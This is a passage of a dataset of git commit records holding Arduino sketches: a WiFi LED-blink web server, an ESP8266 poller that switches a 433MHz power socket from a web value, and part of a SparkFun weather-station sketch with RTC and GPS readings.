ayoda\/Arduino,wayoda\/Arduino,toddtreece\/esp8266-Arduino,weera00\/Arduino,Gourav2906\/Arduino,leftbrainstrain\/Arduino-ESP8266,stevemarple\/Arduino-org,niggor\/Arduino_cc,Cloudino\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,me-no-dev\/Arduino-1,ikbelkirasan\/Arduino,NeuralSpaz\/Arduino,wayoda\/Arduino,odbol\/Arduino,ogferreiro\/Arduino,pdNor\/Arduino,adafruit\/ESP8266-Arduino,wilhelmryan\/Arduino,gurbrinder\/Arduino,ricklon\/Arduino,talhaburak\/Arduino,ntruchsess\/Arduino-1,arduino-org\/Arduino,zaiexx\/Arduino,wdoganowski\/Arduino,byran\/Arduino,nkolban\/Arduino,arduino-org\/Arduino,plaintea\/esp8266-Arduino,odbol\/Arduino,zederson\/Arduino,PaintYourDragon\/Arduino,tommyli2014\/Arduino,zaiexx\/Arduino,scdls\/Arduino,snargledorf\/Arduino,raimohanska\/Arduino,gberl001\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,paulo-raca\/ESP8266-Arduino,jabezGit\/Arduino,chaveiro\/Arduino,SmartArduino\/Arduino-1,eddyst\/Arduino-SourceCode,arunkuttiyara\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemarple\/Arduino-org,probonopd\/Arduino,talhaburak\/Arduino,cscenter\/Arduino,tannewt\/Arduino,majenkotech\/Arduino,OpenDevice\/Arduino,probonopd\/Arduino,danielchalef\/Arduino,radut\/Arduino,arduino-org\/Arduino,odbol\/Arduino,drpjk\/Arduino,Protoneer\/Arduino,Alfredynho\/AgroSis,aichi\/Arduino-2,381426068\/Arduino,mangelajo\/Arduino,jmgonzalez00449\/Arduino,ccoenen\/Arduino,ari-analytics\/Arduino,gestrem\/Arduino,KlaasDeNys\/Arduino,raimohanska\/Arduino,tskurauskas\/Arduino,garci66\/Arduino,tskurauskas\/Arduino,mangelajo\/Arduino,me-no-dev\/Arduino-1,pdNor\/Arduino,gurbrinder\/Arduino,ms-iot\/Arduino,probonopd\/Arduino,xxxajk\/Arduino-1,shiitakeo\/Arduino,Ramoonus\/Arduino,spapadim\/Arduino,HCastano\/Arduino,tbowmo\/Arduino,talhaburak\/Arduino,paulmand3l\/Arduino,stevemayhew\/Arduino,ektor5\/Arduino,arunkuttiyara\/Arduino,jaimemaretoli\/Arduino,karlitxo\/Arduino,eeijcea\/Arduino-1,UDOOboard\/Arduino,paulmand3l\/Arduino,scdls\/Arduino,plinioseniore\/Arduino,fungxu\/Arduino,PaoloP74\/Arduino,laylthe\/Arduino,probonopd\/Arduino,jaej-dev\/Arduino,EmuxEvans\/Arduino,eggfly\/arduino,tskurauskas\/Arduino,bsmr-arduino\/Arduino,drpjk\/Arduino,tommyli2014\/Arduino,tannewt\/Arduino,tbowmo\/Arduino,cscenter\/Arduino,linino\/Arduino,myrtleTree33\/Arduino,koltegirish\/Arduino,Gourav2906\/Arduino,kidswong999\/Arduino,tskurauskas\/Arduino,PeterVH\/Arduino,pdNor\/Arduino,adamkh\/Arduino,tomkrus007\/Arduino,mattvenn\/Arduino,stevemarple\/Arduino-org,gestrem\/Arduino,bsmr-arduino\/Arduino,leftbrainstrain\/Arduino-ESP8266,spapadim\/Arduino,tskurauskas\/Arduino,wayoda\/Arduino,plinioseniore\/Arduino,Gourav2906\/Arduino,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,noahchense\/Arduino-1,Gourav2906\/Arduino,danielchalef\/Arduino,ogahara\/Arduino,bigjosh\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,majenkotech\/Arduino,lukeWal\/Arduino,adafruit\/ESP8266-Arduino,vbextreme\/Arduino,garci66\/Arduino,nkolban\/Arduino,gonium\/Arduino,raimohanska\/Arduino,plaintea\/esp8266-Arduino,arunkuttiyara\/Arduino,SmartArduino\/Arduino-1,eggfly\/arduino,mc-hamster\/esp8266-Arduino,jamesrob4\/Arduino,tannewt\/Arduino,PaintYourDragon\/Arduino,karlitxo\/Arduino,sanyaade-iot\/Arduino-1,zaiexx\/Arduino,UDOOboard\/Arduino,PaoloP74\/Arduino,jmgonzalez00449\/Arduino,cscenter\/Arduino,zaiexx\/Arduino,jamesrob4\/Arduino,leftbrainstrain\/Arduino-ESP8266,mateuszdw\/Arduino,tskurauskas\/Arduino,Cloudino\/Arduino,jomolinare\/Arduino,damellis\/Arduino,ccoenen\/Arduino,smily77\/Arduino,jaej-dev\/Arduino,381426068\/Arduino,ektor5\/Arduino,niggor\/Arduino_cc,pdNor\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,zederson\/Arduino,raimohanska\/Arduino,vbextreme\/Arduino,ntruchsess\/Arduino-1,HCastano\/Arduino,weera00\/Arduino,ntruchsess\/Arduino-1,ricklon\/Arduino,plinioseniore\/Arduino,KlaasDeNys\/Arduino,xxxajk\/Arduino-1,gberl001\/Arduino,NeuralSpaz\/Arduino,onovy\/Arduino,mangelajo\/Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,henningpohl\/Arduino,gurbrinder\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PeterVH\/Arduino,ForestNymph\/Arduino_sources,linino\/Arduino,jaehong\/Xmegaduino,lulufei\/Arduino,adafruit\/ESP8266-Arduino,ssvs111\/Arduino,nkolban\/Arduino,adamkh\/Arduino,scdls\/Arduino,benwolfe\/esp8266-Arduino,Alfredynho\/AgroSis,zenmanenergy\/Arduino,nandojve\/Arduino,mboufos\/esp8266-Arduino,acosinwork\/Arduino,spapadim\/Arduino,EmuxEvans\/Arduino,zaiexx\/Arduino,me-no-dev\/Arduino-1,aichi\/Arduino-2,PaoloP74\/Arduino,jamesrob4\/Arduino,ikbelkirasan\/Arduino,andrealmeidadomingues\/Arduino,ari-analytics\/Arduino,NeuralSpaz\/Arduino,Orthogonal-Systems\/arduino-libs,eeijcea\/Arduino-1,jaej-dev\/Arduino,mc-hamster\/esp8266-Arduino,01org\/Arduino,jabezGit\/Arduino,henningpohl\/Arduino,laylthe\/Arduino,koltegirish\/Arduino,kidswong999\/Arduino,tannewt\/Arduino,bigjosh\/Arduino,raimohanska\/Arduino,linino\/Arduino,ForestNymph\/Arduino_sources,NicoHood\/Arduino,me-no-dev\/Arduino-1,ccoenen\/Arduino,bsmr-arduino\/Arduino,sanyaade-iot\/Arduino-1,chaveiro\/Arduino,HCastano\/Arduino,snargledorf\/Arduino,NicoHood\/Arduino,drpjk\/Arduino,damellis\/Arduino,rcook\/DesignLab,eduardocasarin\/Arduino,aichi\/Arduino-2,eduardocasarin\/Arduino,HCastano\/Arduino,scdls\/Arduino,gurbrinder\/Arduino,ogahara\/Arduino,laylthe\/Arduino,PeterVH\/Arduino,jmgonzalez00449\/Arduino,rodibot\/Arduino,lukeWal\/Arduino,niggor\/Arduino_cc,zederson\/Arduino,arunkuttiyara\/Arduino,rcook\/DesignLab,ashwin713\/Arduino,xxxajk\/Arduino-1,wayoda\/Arduino,ektor5\/Arduino,eduardocasarin\/Arduino,shannonshsu\/Arduino,majenkotech\/Arduino,piersoft\/esp8266-Arduino,Chris--A\/Arduino,tommyli2014\/Arduino,majenkotech\/Arduino,SmartArduino\/Arduino-1,jabezGit\/Arduino,shannonshsu\/Arduino,jaej-dev\/Arduino,stevemarple\/Arduino-org,stickbreaker\/Arduino,ektor5\/Arduino,mattvenn\/Arduino,probonopd\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,nkolban\/Arduino,jaimemaretoli\/Arduino,Cloudino\/Arduino,stevemayhew\/Arduino,onovy\/Arduino,me-no-dev\/Arduino-1,henningpohl\/Arduino,spapadim\/Arduino,ashwin713\/Arduino,talhaburak\/Arduino,01org\/Arduino,eggfly\/arduino,Ramoonus\/Arduino,KlaasDeNys\/Arduino,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,381426068\/Arduino,ikbelkirasan\/Arduino,SmartArduino\/Arduino-1,NeuralSpaz\/Arduino,tomkrus007\/Arduino,noahchense\/Arduino-1,mc-hamster\/esp8266-Arduino,rcook\/DesignLab,ssvs111\/Arduino,shannonshsu\/Arduino,Gourav2906\/Arduino,nandojve\/Arduino,radut\/Arduino,Chris--A\/Arduino,aichi\/Arduino-2,381426068\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,ikbelkirasan\/Arduino,danielchalef\/Arduino,01org\/Arduino,gestrem\/Arduino,myrtleTree33\/Arduino,cscenter\/Arduino,danielchalef\/Arduino,stevemayhew\/Arduino,lulufei\/Arduino,championswimmer\/Arduino,henningpohl\/Arduino,garci66\/Arduino,plaintea\/esp8266-Arduino,stickbreaker\/Arduino,ari-analytics\/Arduino,jaehong\/Xmegaduino,NicoHood\/Arduino,garci66\/Arduino,diydrones\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,bigjosh\/Arduino,piersoft\/esp8266-Arduino,odbol\/Arduino,ogferreiro\/Arduino,zenmanenergy\/Arduino,bugobliterator\/BUAGI,jaej-dev\/Arduino,eggfly\/arduino,tannewt\/Arduino,UDOOboard\/Arduino,superboonie\/Arduino,arduino-org\/Arduino,andrealmeidadomingues\/Arduino,fungxu\/Arduino,onovy\/Arduino,drpjk\/Arduino,KlaasDeNys\/Arduino,danielchalef\/Arduino,HCastano\/Arduino,Protoneer\/Arduino,ms-iot\/Arduino,chaveiro\/Arduino,jamesrob4\/Arduino,NaSymbol\/Arduino,paulo-raca\/ESP8266-Arduino,nandojve\/Arduino,plinioseniore\/Arduino,zenmanenergy\/Arduino,wilhelmryan\/Arduino,nandojve\/Arduino,leftbrainstrain\/Arduino-ESP8266,ThoughtWorksIoTGurgaon\/Arduino,noahchense\/Arduino-1,wilhelmryan\/Arduino,gurbrinder\/Arduino,kidswong999\/Arduino,majenkotech\/Arduino,PaoloP74\/Arduino,Gourav2906\/Arduino,kidswong999\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,Gourav2906\/Arduino,chaveiro\/Arduino,tomkrus007\/Arduino,steamboating\/Arduino,chaveiro\/Arduino,championswimmer\/Arduino","old_file":"libraries\/WiFi\/examples\/SimpleWebServerWiFi\/SimpleWebServerWiFi.ino","new_file":"libraries\/WiFi\/examples\/SimpleWebServerWiFi\/SimpleWebServerWiFi.ino","new_contents":"\/*\n WiFi Web Server LED Blink\n \n A simple web server that lets you blink an LED via the web.\n This sketch will print the IP address of your WiFi Shield (once connected)\n to the Serial monitor. From there, you can open that address in a web browser\n to turn on and off the LED on pin 9.\n \n If the IP address of your shield is yourAddress:\n http:\/\/yourAddress\/H turns the LED on\n http:\/\/yourAddress\/L turns it off\n \n This example is written for a network using WPA encryption. For \n WEP or WPA, change the Wifi.begin() call accordingly.\n \n Circuit:\n * WiFi shield attached\n * LED attached to pin 9\n \n created 25 Nov 2012\n by Tom Igoe\n *\/\n#include <SPI.h>\n#include <WiFi.h>\n\nchar ssid[] = \"yourNetwork\"; \/\/ your network SSID (name) \nchar pass[] = \"secretPassword\"; \/\/ your network password\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\nWiFiServer server(80);\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize serial communication\n pinMode(9, OUTPUT); \/\/ set the LED pin mode\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n while(true); \/\/ don't continue\n } \n\n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) { \n Serial.print(\"Attempting to connect to Network named: \");\n Serial.println(ssid); \/\/ print the network name (SSID);\n\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid, pass);\n \/\/ wait 10 seconds for connection:\n delay(10000);\n } \n server.begin(); \/\/ start the web server on port 80\n printWifiStatus(); \/\/ you're connected now, so print out the status\n}\n\n\nvoid loop() {\n WiFiClient client = server.available(); \/\/ listen for incoming clients\n\n if (client) { \/\/ if you get a client,\n Serial.println(\"new client\"); \/\/ print a message out the serial port\n String currentLine = \"\"; \/\/ make a String to hold incoming data from the client\n while (client.connected()) { \/\/ loop while the client's connected\n if (client.available()) { \/\/ if there's bytes to read from the client,\n char c = client.read(); \/\/ read a byte, then\n Serial.write(c); \/\/ print it out the serial monitor\n if (c == '\\n') { \/\/ if the byte is a newline character\n\n \/\/ if the current line is blank, you got two newline characters in a row.\n \/\/ that's the end of the client HTTP request, so send a response:\n if (currentLine.length() == 0) { \n \/\/ HTTP headers always start with a response code (e.g. HTTP\/1.1 200 OK)\n \/\/ and a content-type so the client knows what's coming, then a blank line: \n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-type:text\/html\");\n client.println();\n\n \/\/ the content of the HTTP response follows the header:\n client.print(\"Click <a href=\\\"\/H\\\">here<\/a> turn the LED on pin 9 on<br>\");\n client.print(\"Click <a href=\\\"\/L\\\">here<\/a> turn the LED on pin 9 off<br>\");\n\n \/\/ The HTTP response ends with another blank line:\n client.println();\n \/\/ break out of the while loop:\n break; \n } \n else { \/\/ if you got a newline, then clear currentLine:\n currentLine = \"\";\n }\n } \n else if (c != '\\r') { \/\/ if you got anything else but a carriage return character,\n currentLine += c; \/\/ add it to the end of the currentLine\n }\n\n \/\/ Check to see if the client request was \"GET \/H\" or \"GET \/L\":\n if (currentLine.endsWith(\"GET \/H\")) {\n digitalWrite(9, HIGH); \/\/ GET \/H turns the LED on\n }\n if (currentLine.endsWith(\"GET \/L\")) {\n digitalWrite(9, LOW); \/\/ GET \/L turns the LED off\n }\n }\n }\n \/\/ close the connection:\n client.stop();\n Serial.println(\"client disonnected\");\n }\n}\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n \/\/ print where to go in a browser:\n Serial.print(\"To see this page in action, open a browser to http:\/\/\");\n Serial.println(ip);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/WiFi\/examples\/SimpleWebServerWiFi\/SimpleWebServerWiFi.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"18236b7be0bf22fb65b2f93aacfab9ecfa53d977","subject":"Create Switch-433-poll-url.ino","message":"Create Switch-433-poll-url.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Switch-433-poll-url.ino","new_file":"ESP8266-code\/Switch-433-poll-url.ino","new_contents":"\/*\n ESP8266 script to control a 433Mhz power socket from a web-based switch\n\n Chris Wallace\n March 2016\n \n*\/\n#include <ESP8266WiFi.h>\n#include <RCSwitch.h>\n\n#define ON 1\n#define OFF 0\n#define UNKNOWN -1\n\/\/ WiFi connection \nconst char* ssid = \"ssid\";\nconst char* password = \"wifipw\";\n\n\/\/ Data base connection\nconst char* host = \"kitwallace.co.uk\";\nconst char* data_streamId = \"streamid\";\nconst char* data_privateKey = \"streampk\";\n\n\/\/ Pins\nint TRANSMIT = 5;\n\n\nRCSwitch mySwitch = RCSwitch();\n\/\/ remote socket setting\nint sw_group = 2;\nint sw_switch = 1;\n\nchar* field = \"sw\";\nString url = constructURL(field);\n\n\/\/ switch status is unknown until we initialise\n\nString lastTimestamp = \"\"; \nint sw_state = UNKNOWN; \n\nint poll_seconds = 20;\n\nvoid httpGetLines(String url, String* lines) {\n\/\/ call the url and put n \\n terminated lines into the global array\n\n WiFiClient client;\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n\n \/\/ skip headers - terminated by blank line \n \/\/ should really check response code\n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n if (line == \"\\r\") {\n Serial.println(\"headers received\");\n break;\n }\n }\n \/\/ read n lines - first will be a character count \n Serial.println(\"Reading data\");\n int i = 0;\n while (i < sizeof(lines)-1 && client.connected()) {\n String line = client.readStringUntil('\\n');\n lines[i] = line;\n Serial.println(line);\n i++;\n }\n}\n\nString constructURL(char* field) {\n String url = \"\/rt\/home.xq?_action=value&_format=text&_id=\";\n url += data_streamId;\n url += String(\"&_pk=\")+ data_privateKey;\n url += String(\"&_field=\") + field;\n return url;\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Switch controller started\");\n mySwitch.enableTransmit(TRANSMIT); \/\/ send on pwm pin\n}\n\nvoid loop() {\n Serial.println(String(\"Current State \") + sw_state);\n\n\/\/ poll the URL to get the timestamp and value\n String data[3];\n httpGetLines(url,data);\n String timestamp = data[1];\n String request = data[2];\n if (timestamp == \"\" && ! (request == \"0\" || request == \"1\")) \n Serial.println(\"request not valid\") ;\n else {\n int sw_request = request.toInt(); \/\/ this defaults to 0 if not an integer\n Serial.println(String(\"requested \") + sw_request);\n if (sw_state == UNKNOWN || (timestamp > lastTimestamp)) { \/\/ there has been a new command\n if (sw_request == ON) \n mySwitch.switchOn(sw_group,sw_switch); \n else if (sw_request == OFF)\n mySwitch.switchOff(sw_group,sw_switch);\n else {\n Serial.println(String(\"unknown request \") + sw_request);\n return;\n }\n sw_state = sw_request; \n lastTimestamp = timestamp;\n Serial.println(String(\"switched to \") + sw_state );\n } \n }\n delay(poll_seconds*1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Switch-433-poll-url.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa66df0c69f87fa8f35860aaa658c22ad6a5ce00","subject":"Modified for using driver mws.py for weewx integration","message":"Modified for using driver mws.py for weewx integration","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"weewx\/Weather_Shield_with_GPS.ino","new_file":"weewx\/Weather_Shield_with_GPS.ino","new_contents":"\/* \n Weather Shield Example\n By: Nathan Seidle\n SparkFun Electronics\n Date: November 16th, 2013\n License: This code is public domain but you buy me a beer if you use this and we meet someday (Beerware license).\n \n Much of this is based on Mike Grusin's USB Weather Board code: https:\/\/www.sparkfun.com\/products\/10586\n \n This code reads all the various sensors (wind speed, direction, rain gauge, humidty, pressure, light, batt_lvl)\n and reports it over the serial comm port. This can be easily routed to an datalogger (such as OpenLog) or\n a wireless transmitter (such as Electric Imp).\n \n Measurements are reported once a second but windspeed and rain gauge are tied to interrupts that are\n calcualted at each report.\n \n This example code assumes the GP-635T GPS module is attached.\n \n *\/\n\n#include <Wire.h> \/\/I2C needed for sensors\n#include \"MPL3115A2.h\" \/\/Pressure sensor\n#include \"HTU21D.h\" \/\/Humidity sensor\n#include <SoftwareSerial.h> \/\/Needed for GPS\n#include <TinyGPS++.h> \/\/GPS parsing\n\n\/\/this is for RTC\nint clockAddress = 0x68; \/\/ This is the I2C address\nint command = 0; \/\/ This is the command char, in ascii form, sent from the serial port \nlong previousMillis = 0; \/\/ will store last time Temp was updated\nbyte second, minute, hour, dayOfWeek, dayOfMonth, month, year;\n\nbyte decToBcd(byte val)\n{\n return ( (val\/10*16) + (val%10) );\n}\n\n\/\/ Convert binary coded decimal to normal decimal numbers\nbyte bcdToDec(byte val)\n{\n return ( (val\/16*10) + (val%16) );\n}\n\n\/\/ Gets the date and time from the ds1307 and prints result\nchar* getDateDs1307(int flag) {\n \/\/if flag == 0 : date output\n \/\/if flag == 1 : time output\n \/\/ Reset the register pointer\n Wire.beginTransmission(clockAddress);\n Wire.write(byte(0x00));\n Wire.endTransmission();\n\n Wire.requestFrom(clockAddress, 7);\n\n \/\/ A few of these need masks because certain bits are control bits\n second = bcdToDec(Wire.read() & 0x7f);\n minute = bcdToDec(Wire.read());\n\n \/\/ Need to change this if 12 hour am\/pm\n hour = bcdToDec(Wire.read() & 0x3f); \n dayOfWeek = bcdToDec(Wire.read());\n dayOfMonth = bcdToDec(Wire.read());\n month = bcdToDec(Wire.read());\n year = bcdToDec(Wire.read());\n\n char sza[32];\n if (flag==0)\n sprintf(sza, \"%02d-%02d-%02d\",year,month,dayOfMonth);\n if (flag==1)\n sprintf(sza, \"%02d:%02d:%02d\",hour,minute,second);\n return(sza);\n}\n\/\/end of RTC\n\n\nTinyGPSPlus gps;\n\nstatic const int RXPin = 5, TXPin = 4; \/\/GPS is attached to pin 4(TX from GPS) and pin 5(RX into GPS)\nSoftwareSerial ss(RXPin, TXPin); \n\nMPL3115A2 myPressure; \/\/Create an instance of the pressure sensor\nHTU21D myHumidity; \/\/Create an instance of the humidity sensor\n\n\/\/Hardware pin definitions\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ digital I\/O pins\nconst byte WSPEED = 3;\nconst byte RAIN = 2;\nconst byte STAT1 = 7;\nconst byte STAT2 = 8;\nconst byte GPS_PWRCTL = 6; \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n\n\/\/ analog I\/O pins\nconst byte REFERENCE_3V3 = A3;\nconst byte LIGHT = A1;\nconst byte BATT = A2;\nconst byte WDIR = A0;\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Global Variables\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nlong lastSecond; \/\/The millis counter to see when a second rolls by\nbyte seconds; \/\/When it hits 60, increase the current minute\nbyte seconds_2m; \/\/Keeps track of the \"wind speed\/dir avg\" over last 2 minutes array of data\nbyte minutes; \/\/Keeps track of where we are in various arrays of data\nbyte minutes_10m; \/\/Keeps track of where we are in wind gust\/dir over last 10 minutes array of data\n\nlong lastWindCheck = 0;\nvolatile long lastWindIRQ = 0;\nvolatile byte windClicks = 0;\n\n\/\/We need to keep track of the following variables:\n\/\/Wind speed\/dir each update (no storage)\n\/\/Wind gust\/dir over the day (no storage)\n\/\/Wind speed\/dir, avg over 2 minutes (store 1 per second)\n\/\/Wind gust\/dir over last 10 minutes (store 1 per minute)\n\/\/Rain over the past hour (store 1 per minute)\n\/\/Total rain over date (store one per day)\n\nbyte windspdavg[120]; \/\/120 bytes to keep track of 2 minute average\nint winddiravg[120]; \/\/120 ints to keep track of 2 minute average\nfloat windgust_10m[10]; \/\/10 floats to keep track of 10 minute max\nint windgustdirection_10m[10]; \/\/10 ints to keep track of 10 minute max\nvolatile float rainHour[60]; \/\/60 floating numbers to keep track of 60 minutes of rain\n\n\/\/These are all the weather values that wunderground expects:\nint winddir = 0; \/\/ [0-360 instantaneous wind direction]\nfloat windspeedms = 0; \/\/ [mph instantaneous wind speed]\nfloat windgustms = 0; \/\/ [mph current wind gust, using software specific time period]\nint windgustdir = 0; \/\/ [0-360 using software specific time period]\nfloat windspdms_avg2m = 0; \/\/ [mph 2 minute average wind speed mph]\nint winddir_avg2m = 0; \/\/ [0-360 2 minute average wind direction]\nfloat windgustms_10m = 0; \/\/ [mph past 10 minutes wind gust mph ]\nint windgustdir_10m = 0; \/\/ [0-360 past 10 minutes wind gust direction]\nfloat humidity = 0; \/\/ [%]\nfloat tempf = 0; \/\/ [temperature F]\nfloat rainin = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nvolatile float dailyrainin = 0; \/\/ [rain inches so far today in local time]\n\/\/float baromin = 30.03;\/\/ [barom in] - It's hard to calculate baromin locally, do this in the agent\nfloat pressure = 0;\n\/\/float dewptf; \/\/ [dewpoint F] - It's hard to calculate dewpoint locally, do this in the agent\n\nfloat batt_lvl = 11.8; \/\/[analog value from 0 to 1023]\nfloat light_lvl = 455; \/\/[analog value from 0 to 1023]\n\/\/Rain time stamp\nint Rainindi=0;\n\/\/Variables used for GPS\n\/\/float flat, flon; \/\/ 39.015024 -102.283608686\n\/\/unsigned long age;\n\/\/int year;\n\/\/byte month, day, hour, minute, second, hundredths;\n\n\/\/ volatiles are subject to modification by IRQs\nvolatile unsigned long raintime, rainlast, raininterval, rain, Rainindinter, Rainindtime, Rainindlast;\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Interrupt routines (these are called by the hardware interrupts, not by the main code)\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nvoid rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n{\n raintime = millis(); \/\/ grab current time\n raininterval = raintime - rainlast; \/\/ calculate interval between this and last event\n\n if (raininterval > 10) \/\/ ignore switch-bounce glitches less than 10mS after initial edge\n {\n dailyrainin += 0.011*25.4; \/\/Each dump is 0.011\" of water\n rainHour[minutes] += 0.011*25.4; \/\/Increase this minute's amount of rain\n\n rainlast = raintime; \/\/ set up for next event\n }\n \n \/\/Rain or not (1 or 0)\n if(rainin >0)\n {\n Rainindi=1;\n Rainindtime = millis();\n }\n if(rainin ==0)\n {\n Rainindi=0; \n Rainindlast = millis();\n Rainindlast = Rainindtime;\n }\n Rainindinter = Rainindlast - Rainindtime;\n \n}\n\nvoid wspeedIRQ()\n\/\/ Activated by the magnet in the anemometer (2 ticks per rotation), attached to input D3\n{\n if (millis() - lastWindIRQ > 10) \/\/ Ignore switch-bounce glitches less than 10ms (142MPH max reading) after the reed switch closes\n {\n lastWindIRQ = millis(); \/\/Grab the current time\n windClicks++; \/\/There is 1.492MPH for each click per second.\n }\n \n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n\n ss.begin(9600); \/\/Begin listening to GPS over software serial at 9600. This should be the default baud of the module.\n\n pinMode(STAT1, OUTPUT); \/\/Status LED Blue\n pinMode(STAT2, OUTPUT); \/\/Status LED Green\n \n pinMode(GPS_PWRCTL, OUTPUT);\n digitalWrite(GPS_PWRCTL, HIGH); \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n \n pinMode(WSPEED, INPUT_PULLUP); \/\/ input from wind meters windspeed sensor\n pinMode(RAIN, INPUT_PULLUP); \/\/ input from wind meters rain gauge sensor\n \n pinMode(REFERENCE_3V3, INPUT);\n pinMode(LIGHT, INPUT);\n\n \/\/Configure the pressure sensor\n myPressure.begin(); \/\/ Get sensor online\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n\n \/\/Configure the humidity sensor\n myHumidity.begin();\n\n seconds = 0;\n lastSecond = millis();\n\n \/\/ attach external interrupt pins to IRQ functions\n attachInterrupt(0, rainIRQ, FALLING);\n attachInterrupt(1, wspeedIRQ, FALLING);\n\n \/\/ turn on interrupts\n interrupts();\n\n \/\/Serial.println(\"Weather Shield online!\");\n\n}\n\nvoid loop()\n{\n \/\/Keep track of which minute it is\n if(millis() - lastSecond >= 1000)\n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED\n \n lastSecond += 1000;\n\n \/\/Take a speed and direction reading every second for 2 minute average\n if(++seconds_2m > 119) seconds_2m = 0;\n\n \/\/Calc the wind speed and direction every second for 120 second to get 2 minute average\n float currentSpeed = get_wind_speed();\n \/\/float currentSpeed = random(5); \/\/For testing\n int currentDirection = get_wind_direction();\n windspdavg[seconds_2m] = (int)currentSpeed;\n winddiravg[seconds_2m] = currentDirection;\n \/\/if(seconds_2m % 10 == 0) displayArrays(); \/\/For testing\n\n \/\/Check to see if this is a gust for the minute\n if(currentSpeed > windgust_10m[minutes_10m])\n {\n windgust_10m[minutes_10m] = currentSpeed;\n windgustdirection_10m[minutes_10m] = currentDirection;\n }\n\n \/\/Check to see if this is a gust for the day\n if(currentSpeed > windgustms)\n {\n windgustms = currentSpeed;\n windgustdir = currentDirection;\n }\n \n if(++seconds > 59)\n {\n seconds = 0;\n\n if(++minutes > 59) minutes = 0;\n if(++minutes_10m > 9) minutes_10m = 0;\n\n rainHour[minutes] = 0; \/\/Zero out this minute's rainfall amount\n windgust_10m[minutes_10m] = 0; \/\/Zero out this minute's gust\n }\n\n \/\/Report all readings every second\n printWeather();\n\n digitalWrite(STAT1, LOW); \/\/Turn off stat LED\n }\n\n smartdelay(800); \/\/Wait 1 second, and gather GPS data\n}\n\n\/\/While we delay for a given amount of time, gather GPS data\nstatic void smartdelay(unsigned long ms)\n{\n unsigned long start = millis();\n do \n {\n while (ss.available())\n gps.encode(ss.read());\n } while (millis() - start < ms);\n}\n\n\n\/\/Calculates each of the variables that wunderground is expecting\nvoid calcWeather()\n{\n \/\/Calc winddir\n winddir = get_wind_direction();\n\n \/\/Calc windspeed\n windspeedms = get_wind_speed();\n\n \/\/Calc windgustms\n \/\/Calc windgustdir\n \/\/Report the largest windgust today\n windgustms = 0;\n windgustdir = 0;\n\n \/\/Calc windspdms_avg2m\n float temp = 0;\n for(int i = 0 ; i < 120 ; i++)\n temp += windspdavg[i];\n temp \/= 120.0;\n windspdms_avg2m = temp;\n\n \/\/Calc winddir_avg2m\n temp = 0; \/\/Can't use winddir_avg2m because it's an int\n for(int i = 0 ; i < 120 ; i++)\n temp 